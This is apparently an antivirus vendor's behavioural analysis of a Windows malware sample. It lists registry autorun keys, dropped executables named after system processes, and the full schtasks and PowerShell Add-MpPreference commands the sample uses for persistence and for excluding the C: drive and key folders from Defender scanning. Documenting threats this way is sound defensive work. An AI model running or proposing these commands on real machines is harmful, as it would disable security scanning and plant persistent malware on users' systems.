Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'browserwin' = '<SYSTEM32>\browserwin.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\idlei
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\wininit
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\browserwinb
- <SYSTEM32>\tasks\wininitw
- <SYSTEM32>\tasks\browserwin
- <SYSTEM32>\tasks\iexplorei
- <SYSTEM32>\tasks\system
- <SYSTEM32>\tasks\iexplore
- <SYSTEM32>\tasks\systems
- <SYSTEM32>\tasks\winlogonw
- <SYSTEM32>\tasks\winlogon
Modifies file system
Creates the following files
- <SYSTEM32>\browserwin.exe
- %TEMP%\xi2zfwfmsy
- C:\users\default\my documents\3f252b6be4e0df
- C:\users\default\my documents\browserwin.exe
- C:\msocache\all users\cc11b995f2a76d
- C:\msocache\all users\winlogon.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\3f252b6be4e0df
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\browserwin.exe
- <Current directory>\27d1bcfc3c54e0
- <Current directory>\system.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\9db6e019d4f04e
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe
- C:\far2\plugins\proclist\27d1bcfc3c54e0
- C:\far2\plugins\proclist\system.exe
- %WINDIR%\serviceprofiles\localservice\videos\9db6e019d4f04e
- %WINDIR%\serviceprofiles\localservice\videos\iexplore.exe
- C:\totalcmd\language\3f252b6be4e0df
- C:\totalcmd\language\browserwin.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\56085415360792
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe
- C:\users\default user\101b941d020240
- C:\users\default user\lsm.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\6ccacd8608530f
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\idle.exe
- %TEMP%\fbcwnit1yy.bat
- nul
Sets the 'hidden' attribute to the following files
- <SYSTEM32>\browserwin.exe
Deletes the following files
- %TEMP%\xi2zfwfmsy
Network activity
UDP
- 'localhost':123
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\browserwin.exe'
- '%WINDIR%\serviceprofiles\localservice\videos\iexplore.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '<SYSTEM32>\browserwin.exe'' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\fBCwnIT1YY.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '<SYSTEM32>\browserwin.exe'
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'C:\MSOCache\All Users\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwinb" /sc MINUTE /mo 7 /tr "'C:\Users\Default\My Documents\browserwin.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwin" /sc ONLOGON /tr "'C:\Users\Default\My Documents\browserwin.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwinb" /sc MINUTE /mo 7 /tr "'C:\Users\Default\My Documents\browserwin.exe'" /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/asvtle/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Far2/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/totalcmd/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwinb" /sc MINUTE /mo 6 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\browserwin.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\fBCwnIT1YY.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwin" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\browserwin.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'<Current directory>\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\Idle.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwinb" /sc MINUTE /mo 14 /tr "'C:\totalcmd\LANGUAGE\browserwin.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwin" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\browserwin.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwinb" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\browserwin.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 12 /tr "'%WINDIR%\ServiceProfiles\LocalService\Videos\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'%WINDIR%\ServiceProfiles\LocalService\Videos\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 12 /tr "'%WINDIR%\ServiceProfiles\LocalService\Videos\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 7 /tr "'C:\Far2\Plugins\ProcList\System.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'C:\Far2\Plugins\ProcList\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Far2\Plugins\ProcList\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 7 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 5 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'<Current directory>\System.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'<Current directory>\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "browserwinb" /sc MINUTE /mo 11 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\browserwin.exe'" /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
